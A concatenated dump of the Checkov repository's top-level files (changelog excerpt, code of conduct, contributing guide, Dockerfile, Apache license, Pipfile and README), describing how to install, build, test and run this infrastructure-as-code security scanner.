[#3474](https://github.com/bridgecrewio/checkov/pull/3474) ## [2.1.188](https://github.com/bridgecrewio/checkov/compare/2.1.184...2.1.188) - 2022-09-05 ## Feature - **cloudformation:** json parser support triple quote string - [#3463](https://github.com/bridgecrewio/checkov/pull/3463) ## Bug Fix - **terraform:** gcp postgresql default values - [#3457](https://github.com/bridgecrewio/checkov/pull/3457) ## [2.1.184](https://github.com/bridgecrewio/checkov/compare/2.1.182...2.1.184) - 2022-09-04 ## Platform - **general:** trim API urls - [#3460](https://github.com/bridgecrewio/checkov/pull/3460) ## Documentation - **general:** adjust example for custom check with guideline - [#3459](https://github.com/bridgecrewio/checkov/pull/3459) ## [2.1.182](https://github.com/bridgecrewio/checkov/compare/2.1.179...2.1.182) - 2022-09-02 ## Feature - **sca:** Added fix details to junitxml - [#3456](https://github.com/bridgecrewio/checkov/pull/3456) - **terraform:** Added 5 python (CKV_AWS_267-271) and 2 yaml (CKV2_AWS_38-39) policies. - [#3438](https://github.com/bridgecrewio/checkov/pull/3438) ## [2.1.179](https://github.com/bridgecrewio/checkov/compare/2.1.176...2.1.179) - 2022-09-01 ## Bug Fix - **graph:** cache jsonpath attributes parser results - [#3451](https://github.com/bridgecrewio/checkov/pull/3451) ## Platform - **general:** revert dropping checks metadata for empty reports - [#3453](https://github.com/bridgecrewio/checkov/pull/3453) ================================================ FILE: CNAME ================================================ checkov.io ================================================ FILE: CODE_OF_CONDUCT.md ================================================ # Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team on our community slack. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see https://www.contributor-covenant.org/faq ================================================ FILE: CONTRIBUTING.md ================================================ # Contributing The developer guide is for anyone wanting to contribute directly to the Checkov project. If you've already developed new checks we'd be happy to take a look at them and merge them as part of the [fast-lane](https://github.com/bridgecrewio/checkov/issues?q=is%3Aopen+is%3Aissue+label%3Afast-lane). ## Open an issue Checkov is an open source project maintained by [Prisma Cloud by Palo Alto Networks](https://www.prismacloud.io/?utm_source=github&utm_medium=organic_oss&utm_campaign=checkov). Our team of maintainers continuously works on developing new features and enhancing existing features. If you encounter a bug or have a suggestion, please start by opening an Issue. When reporting, provide a detailed description with examples to help us understand the context and specifics. Please note that while we review every issue, non-critical or non-blocking issues may be prioritized based on their popularity or frequency. We appreciate your contributions and engagement in helping us improve Checkov. ## Developing and contributing code Dedicated Prisma Cloud maintainers are actively developing new content and adding more features. We would be delighted to chat and look at your code. Here are a few guidelines we follow. Hopefully, these will ensure your contribution could quickly be added to the project. ### Work locally Most Checkov users run their own local instances of Checkov and either run it manually or routinely using Jenkins or CircleCI. As Checkov is a non-intrusive library we recommend developing against a local repository and ensuring you are able to add your contributions successfully on your local fork/repo. If you are developing against remote libraries or repositories - that's great! We'd love to hear how you're doing with it. In the meantime, before you open a PR, deploy and test your contributions locally. ### Keep your fork in sync Checkov is usually updated on a weekly basis. Syncing your fork weekly ensures you are working on an updated version that will not break your PR. ### Rationalize your commits Try to work on structured and well-defined contributions. If you are building a new feature try to build a unified feature block that can be easily reviewed and tested. If you are fixing or patching changing existing code break changes into logical blocks which individually make sense and in aggregate solve a broader issue. ### Test where it matters 1. Unit: Unit tests, including check tests, are stored in checkov/tests/. 2. E2E: End-to-end tests will help us establish if the feature is in high readiness. They are not required for simple or straight forward features but will help us in evaluating the PR. #### Tests for new checks When you add a new check, please write a test for it. While there are many different ways that tests have been written in the past, we have standardized on [this](https://github.com/bridgecrewio/checkov/blob/main/tests/terraform/checks/resource/aws/test_IAMAdminPolicyDocument.py) format. The key points are: * The test defines templates as strings (in this case, in separate files, but hardcoding a string is also acceptable) and parses them using the runner. The configuration should NOT be hard-coded as an object, as in [this](https://github.com/bridgecrewio/checkov/blob/main/tests/terraform/checks/resource/aws/test_ALBListenerHTTPS.py) example. The reason is that parsers sometimes produce unexpected object structures, so it is quite common that hardcoding the object allows the test to pass but causes the check to be incorrect in practice. * The test explicitly lists which resources should pass and which should fail. Merely checking the count of passes and failures is not enough. While rare, in the past this has resulted in tests that pass but checks that are incorrect in practice. #### Running tests Continuous integration will run these tests either as pre-submits on PRs and post-submits against master branch. Results will appear under [actions](https://github.com/bridgecrewio/checkov/actions). To run tests locally use the following commands (install dev dependencies, run tests and compute tests coverage): If you are using conda, create a new environment with Python 3.10.14 version: ```sh conda create -n python310 python=3.10.17 conda activate python310 ``` Then, we need pipenv installation and run the tests and coverage modules ```sh pip install pipenv pipenv install --dev pipenv run python -m coverage run -m pytest tests ``` ### Build package locally Change the version number on the file with your version : `/checkov/version.py` To build package locally run the following on `` root folder: ```sh pipenv run python setup.py sdist bdist_wheel ``` - This will create a `*.whl` package under a new folder named `dist` To install package from local directory, update the release version value and run the installation: ```sh RELEASE_VERSION='xxx' pip install dist/checkov-${RELEASE_VERSION}-py3-none-any.whl ``` ### Test the package First verify you have the right version installed: ```sh checkov --version ``` Then, optionally, you can run on a terraform file/directory with your success and failure test scenarios. ### Setting up the pre-commit hooks After setting up your Python environment simply run ```shell pre-commit install ``` To check the code base against the pre-commit hooks just run ```shell pre-commit run -a ``` ### Using regex Use re.compile for all regex in order to scan them in flake8. ### Documentation is awesome Contributing to the documentation is not mandatory but it will ensure people are aware of your important contribution. The best way to add documentation is by including suggestions to the [docs](https://github.com/bridgecrewio/checkov/tree/main/docs) library as part of your PR. If you'd rather send us a short blurb on slack that's also fine. ## Creating a pull-request If a trivial fix such as a broken link, typo or grammar mistake, review the entire document for other potential mistakes. Try not to open multiple PRs for small fixes in the same document. Reference any issues related to your PR, or issues that PR may solve. Comment on your own PR where you believe something may need further explanation. No need to assign explicit reviewers. We have maintainers reviewing contributions on a daily basis If your PR is considered a "Work in progress" prefix the name with [WIP] or use the /hold command. This will prevent the PR from being merged till the [WIP] or hold is lifted. If your PR isn't getting enough attention, don't hesitate to ping one of the maintainers on Slack to find additional reviewers. ## Fast-lane for new checks If you would like to contribute a new check, please label your issue or PR with a `fast-lane` label. This ensures your inputs are seen and reviewed quickly and get distributed back to the entire community. ================================================ FILE: Dockerfile ================================================ FROM python:3.11-slim ENV RUN_IN_DOCKER=True RUN set -eux; \ apt-get update; \ apt-get -y upgrade; \ apt-get install -y --no-install-recommends \ ca-certificates \ git \ curl \ openssh-client \ ; \ \ pip install setuptools==78.1.1 urllib3==2.2.2; \ curl -sSLo get_helm.sh https://raw.githubusercontent.com/helm/helm/master/scripts/get-helm-3; \ chmod 700 get_helm.sh; \ VERIFY_CHECKSUM=true ./get_helm.sh; \ rm ./get_helm.sh; \ \ curl -sSLo get_kustomize.sh https://raw.githubusercontent.com/kubernetes-sigs/kustomize/master/hack/install_kustomize.sh; \ chmod 700 get_kustomize.sh; \ ./get_kustomize.sh; mv /kustomize /usr/bin/kustomize; \ rm ./get_kustomize.sh; \ \ apt-get remove -y curl; \ apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; \ rm -rf /var/lib/apt/lists/* RUN pip install --no-cache-dir -U checkov COPY ./github_action_resources/entrypoint.sh /entrypoint.sh COPY ./github_action_resources/checkov-problem-matcher.json /usr/local/lib/checkov-problem-matcher.json COPY ./github_action_resources/checkov-problem-matcher-softfail.json /usr/local/lib/checkov-problem-matcher-softfail.json # Code file to execute when the docker container starts up (`entrypoint.sh`) ENTRYPOINT ["/entrypoint.sh"] ================================================ FILE: INTHEWILD.md ================================================ # Who uses checkov? As the checkov community grows, we'd like to keep track of who is using the OSS tool. Please send a PR with your company name and @githubhandle. ## Currently, officially using Checkov: 1. [Nationwide Building Society](https://www.nationwide.co.uk/) [[@njgibbon](https://github.com/njgibbon)] 1. [globaldatanet](https://globaldatanet.com/) [[@gruebel](https://github.com/gruebel)] 1. [Steamhaus](https://www.steamhaus.co.uk/) [[@bilco105](https://github.com/bilco105)] 1. [Jim Smith](https://www.linkedin.com/in/mr-j-smith/) [[@jimsmith](https://github.com/jimsmith)] 1. [Chaser Systems](https://chasersystems.com/) [[@new23d](https://github.com/new23d)] 1. [Palo Alto Networks](https://www.paloaltonetworks.com/) [[@jameswoolfenden](https://github.com/JamesWoolfenden)] 1. [Appvia](https://www.appvia.io/) [[@abdelhegazi](https://github.com/abdelhegazi)] 1. [Square](https://squareup.com/) [[@ac-square](https://github.com/ac-square), [@santoshankr](https://github.com/santoshankr)] 1. [Madhu Akula](https://madhuakula.com/) [[@madhuakula](https://github.com/madhuakula)] 1. [Royal Vopak N.V.](https://vopak.com/) [[@xmariopereira](https://github.com/xmariopereira)] 1. [Punk Security (UK)](https://punksecurity.co.uk/) [[@punksecurity](https://github.com/punk-security)] ================================================ FILE: LICENSE ================================================ Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright 2019 Palo Alto Networks Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ================================================ FILE: Pipfile ================================================ [[source]] name = "pypi" url = "https://pypi.org/simple" verify_ssl = true [dev-packages] pytest = "<8.0.0" pytest-xdist = "*" pytest-asyncio = "*" pytest-cov = "*" pytest-mock = "*" pytest-benchmark = "*" exceptiongroup = {version = "*", markers="python_version < '3.11'"} coverage ="==7.6.1" coverage-badge = "*" bandit = "*" urllib3-mock = "*" jsonschema = "*" importlib-resources = ">=1.3" responses = "*" aioresponses = "*" types-cachetools = ">=5.2.0,<6.0.0" types-jmespath = ">=1.0.0,<2.0.0" types-jsonschema = ">=4.17.0,<5.0.0" types-pyyaml = ">=6.0.0,<7.0.0" types-requests = ">=2.28.0,<3.0.0" types-tabulate = ">=0.9.0,<0.10.0" types-tqdm = ">=4.65.0,<5.0.0" types-urllib3 = "*" pre-commit = "*" flake8 = "*" dlint = "*" mypy = "*" flake8-bugbear = "*" parameterized = "*" time-machine = "*" boto3-stubs-lite = {extras = ["s3"], version = "*"} types-colorama = "<0.5.0,>=0.4.3" tomli = "*" setuptools = "==78.1.1" iniconfig = "*" [packages] bc-jsonpath-ng = "==1.6.1" pycep-parser = "==0.5.1" tabulate = ">=0.9.0,<0.10.0" colorama = ">=0.4.3,<0.5.0" termcolor=">=1.1.0,<2.4.0" junit-xml = ">=1.9,<2.0" dpath = "==2.1.3" pyyaml = ">=6.0.0,<7.0.0" boto3 = "==1.35.49" gitpython = ">=3.1.30,<4.0.0" jmespath = ">=1.0.0,<2.0.0" tqdm = ">=4.65.0,<5.0.0" packaging = ">=23.0,<24.0" cloudsplaining = ">=0.7.0,<0.8.0" networkx = "<2.7" dockerfile-parse =">=2.0.0,<3.0.0" docker = ">=6.0.1,<8.0.0" configargparse = ">=1.5.3,<2.0.0" argcomplete = ">=3.0.0,<4.0.0" typing-extensions = ">=4.5.0,<5.0.0" importlib-metadata = ">=6.0.0,<8.0.0" cachetools = ">=5.2.0,<6.0.0" cyclonedx-python-lib = ">=6.0.0,<8.0.0" packageurl-python = ">=0.11.1,<0.14.0" click = ">=8.1.0,<9.0.0" aiohttp = ">=3.8.0,<4.0.0" aiodns = ">=3.0.0,<4.0.0" aiomultiprocess = ">=0.9.0,<0.10.0" schema = "<=0.7.5" jsonschema = ">=4.17.0,<5.0.0" prettytable = ">=3.6.0,<4.0.0" charset-normalizer = ">=3.1.0,<4.0.0" pyston-autoload = {version = "==2.3.5", markers="python_version < '3.11' and (sys_platform == 'linux' or sys_platform == 'darwin') and platform_machine == 'x86_64' and implementation_name == 'cpython'", index="pypi"} pyston = {version = "==2.3.5", markers="python_version < '3.11' and (sys_platform == 'linux' or sys_platform == 'darwin') and platform_machine == 'x86_64' and implementation_name == 'cpython'", index="pypi"} requests = ">=2.28.0,<3.0.0" yarl = ">=1.9.1,<2.0.0" spdx-tools = ">=0.8.0,<0.9.0" license-expression = ">=30.1.0,<31.0.0" rustworkx = ">=0.13.0,<1.0.0" pydantic = ">=2.0.0,<3.0.0" asteval = "==1.0.6" bc-detect-secrets = "==1.5.47" urllib3 = ">=1.26.20" bc-python-hcl2 = "==0.4.3" [requires] python_version = "3.9" ================================================ FILE: README.md ================================================ [![checkov](https://raw.githubusercontent.com/bridgecrewio/checkov/main/docs/web/images/checkov_blue_logo.png)](#) [![Maintained by Prisma Cloud](https://img.shields.io/badge/maintained_by-Prisma_Cloud-blue)](https://prismacloud.io/?utm_source=github&utm_medium=organic_oss&utm_campaign=checkov) [![build status](https://github.com/bridgecrewio/checkov/workflows/build/badge.svg)](https://github.com/bridgecrewio/checkov/actions?query=workflow%3Abuild) [![security status](https://github.com/bridgecrewio/checkov/workflows/security/badge.svg)](https://github.com/bridgecrewio/checkov/actions?query=event%3Apush+branch%3Amaster+workflow%3Asecurity) [![code_coverage](https://raw.githubusercontent.com/bridgecrewio/checkov/main/coverage.svg?sanitize=true)](https://github.com/bridgecrewio/checkov/actions?query=workflow%3Acoverage) [![docs](https://img.shields.io/badge/docs-passing-brightgreen)](https://www.checkov.io/1.Welcome/What%20is%20Checkov.html?utm_source=github&utm_medium=organic_oss&utm_campaign=checkov) [![PyPI](https://img.shields.io/pypi/v/checkov)](https://pypi.org/project/checkov/) [![Python Version](https://img.shields.io/pypi/pyversions/checkov)](#) [![Terraform Version](https://img.shields.io/badge/tf-%3E%3D0.12.0-blue.svg)](#) [![Downloads](https://static.pepy.tech/badge/checkov)](https://pepy.tech/project/checkov) [![Docker Pulls](https://img.shields.io/docker/pulls/bridgecrew/checkov.svg)](https://hub.docker.com/r/bridgecrew/checkov) [![slack-community](https://img.shields.io/badge/Slack-4A154B?style=plastic&logo=slack&logoColor=white)](https://codifiedsecurity.slack.com/) **Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages. It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning. It performs [Software Composition Analysis (SCA) scanning](docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs). Checkov also powers [**Prisma Cloud Application Security**](https://www.prismacloud.io/prisma/cloud/cloud-code-security/?utm_source=github&utm_medium=organic_oss&utm_campaign=checkov), the developer-first platform that codifies and streamlines cloud security throughout the development lifecycle. Prisma Cloud identifies, fixes, and prevents misconfigurations in cloud resources and infrastructure-as-code files. ## **Table of contents** - [Features](#features) - [Screenshots](#screenshots) - [Getting Started](#getting-started) - [Disclaimer](#disclaimer) - [Support](#support) - [Migration - v2 to v3](https://github.com/bridgecrewio/checkov/blob/main/docs/1.Welcome/Migration.md) ## Features * [Over 1000 built-in policies](https://github.com/bridgecrewio/checkov/blob/main/docs/5.Policy%20Index/all.md) cover security and compliance best practices for AWS, Azure and Google Cloud. * Scans Terraform, Terraform Plan, Terraform JSON, CloudFormation, AWS SAM, Kubernetes, Helm, Kustomize, Dockerfile, Serverless framework, Ansible, Bicep, ARM, and OpenTofu template files. * Scans Argo Workflows, Azure Pipelines, BitBucket Pipelines, Circle CI Pipelines, GitHub Actions and GitLab CI workflow files * Supports Context-awareness policies based on in-memory graph-based scanning. * Supports Python format for attribute policies and YAML format for both attribute and composite policies. * Detects [AWS credentials](https://github.com/bridgecrewio/checkov/blob/main/docs/2.Basics/Scanning%20Credentials%20and%20Secrets.md) in EC2 Userdata, Lambda environment variables and Terraform providers. * [Identifies secrets](https://www.prismacloud.io/prisma/cloud/secrets-security) using regular expressions, keywords, and entropy based detection. * Evaluates [Terraform Provider](https://registry.terraform.io/browse/providers) settings to regulate the creation, management, and updates of IaaS, PaaS or SaaS managed through Terraform. * Policies support evaluation of [variables](https://github.com/bridgecrewio/checkov/blob/main/docs/2.Basics/Handling%20Variables.md) to their optional default value. * Supports in-line [suppression](https://github.com/bridgecrewio/checkov/blob/main/docs/2.Basics/Suppressing%20and%20Skipping%20Policies.md) of accepted risks or false-positives to reduce recurring scan failures. Also supports global skip from using CLI. * [Output](https://github.com/bridgecrewio/checkov/blob/main/docs/2.Basics/Reviewing%20Scan%20Results.md) currently available as CLI, [CycloneDX](https://cyclonedx.org), JSON, JUnit XML, CSV, SARIF and github markdown and link to remediation [guides](https://docs.prismacloud.io/en/enterprise-edition/policy-reference/). ## Screenshots Scan results in CLI ![scan-screenshot](https://raw.githubusercontent.com/bridgecrewio/checkov/main/docs/checkov-recording.gif) Scheduled scan result in Jenkins ![jenikins-screenshot](https://raw.githubusercontent.com/bridgecrewio/checkov/main/docs/checkov-jenkins.png) ## Getting started ### Requirements * Python >= 3.9, <=3.12 * Terraform >= 0.12 ### Installation To install pip follow the official [docs](https://pip.pypa.io/en/stable/cli/pip_install/) ```sh pip3 install checkov ``` Certain environments (e.g., Debian 12) may require you to install Checkov in a virtual environment ```sh # Create and activate a virtual environment python3 -m venv /path/to/venv/checkov cd /path/to/venv/checkov source ./bin/activate # Install Checkov with pip pip install checkov # Optional: Create a symlink for easy access sudo ln -s /path/to/venv/checkov/bin/checkov /usr/local/bin/checkov ``` or with [Homebrew](https://formulae.brew.sh/formula/checkov) (macOS or Linux) ```sh brew install checkov ``` ### Enabling bash autocomplete ```sh source <(register-python-argcomplete checkov) ``` ### Upgrade if you installed checkov with pip3 ```sh pip3 install -U checkov ``` or with Homebrew ```sh brew upgrade checkov ``` ### Configure an input folder or file ```sh checkov --directory /user/path/to/iac/code ``` Or a specific file or files ```sh checkov --file /user/tf/example.tf ``` Or ```sh checkov -f /user/cloudformation/example1.yml -f /user/cloudformation/example2.yml ``` Or a terraform plan file in json format ```sh terraform init terraform plan -out tf.plan terraform show -json tf.plan > tf.json checkov -f tf.json ``` Note: `terraform show` output file `tf.json` will be a single line. For that reason all findings will be reported line number 0 by Checkov ```sh check: CKV_AWS_21: "Ensure all data stored in the S3 bucket have versioning enabled" FAILED for resource: aws_s3_bucket.customer File: /tf/tf.json:0-0 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-16-enable-versioning ``` If you have installed `jq` you can convert json file into multiple lines with the following command: ```sh terraform show -json tf.plan | jq '.' > tf.json ``` Scan result would be much user friendly. ```sh checkov -f tf.json Check: CKV_AWS_21: "Ensure all data stored in the S3 bucket have versioning enabled" FAILED for resource: aws_s3_bucket.customer File: /tf/tf1.json:224-268 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-16-enable-versioning 225 | "values": { 226 | "acceleration_status": "", 227 | "acl": "private", 228 | "arn": "arn:aws:s3:::mybucket", ``` Alternatively, specify the repo root of the hcl files used to generate the plan file, using the `--repo-root-for-plan-enrichment` flag, to enrich the output with the appropriate file path, line numbers, and codeblock of the resource(s). An added benefit is that check suppressions will be handled accordingly. ```sh checkov -f tf.json --repo-root-for-plan-enrichment /user/path/to/iac/code ``` ### Scan result sample (CLI) ```sh Passed Checks: 1, Failed Checks: 1, Suppressed Checks: 0 Check: "Ensure all data stored in the S3 bucket is securely encrypted at rest" /main.tf: Passed for resource: aws_s3_bucket.template_bucket Check: "Ensure all data stored in the S3 bucket is securely encrypted at rest" /../regionStack/main.tf: Failed for resource: aws_s3_bucket.sls_deployment_bucket_name ``` Start using Checkov by reading the [Getting Started](https://github.com/bridgecrewio/checkov/blob/main/docs/1.Welcome/Quick%20Start.md) page. ### Using Docker ```sh docker pull bridgecrew/checkov docker run --tty --rm --volume /user/tf:/tf --workdir /tf bridgecrew/checkov --directory /tf ``` Note: if you are using Python 3.6(Default version in Ubuntu 18.04) checkov will not work, and it will fail with `ModuleNotFoundError: No module named 'dataclasses'` error message. In this case, you can use the docker version instead. Note that there are certain cases where redirecting `docker run --tty` output to a file - for example, if you want to save the Checkov JUnit output to a file - will cause extra control characters to be printed. This can break file parsing. If you encounter this, remove the `--tty` flag. The `--workdir /tf` flag is optional to change the working directory to the mounted volume. If you are using the SARIF output `-o sarif` this will output the results.sarif file to the mounted volume (`/user/tf` in the example above). If you do not include that flag, the working directory will be "/". ### Running or skipping checks By using command line flags, you can specify to run only named checks (allow list) or run all checks except those listed (deny list). If you are using the platform integration via API key, you can also specify a severity threshold to skip and / or include. Moreover, as json files can't contain comments, one can pass regex pattern to skip json file secret scan. See the docs for more detailed information about how these flags work together. ## Examples Allow only the two specified checks to run: ```sh checkov --directory . --check CKV_AWS_20,CKV_AWS_57 ``` Run all checks except the one specified: ```sh checkov -d . --skip-check CKV_AWS_20 ``` Run all checks except checks with specified patterns: ```sh checkov -d . --skip-check CKV_AWS* ``` Run all checks that are MEDIUM severity or higher (requires API key): ```sh checkov -d . --check MEDIUM --bc-api-key ... ``` Run all checks that are MEDIUM severity or higher, as well as check CKV_123 (assume this is a LOW severity check): ```sh checkov -d . --check MEDIUM,CKV_123 --bc-api-key ... ``` Skip all checks that are MEDIUM severity or lower: ```sh checkov -d . --skip-check MEDIUM --bc-api-key ... ``` 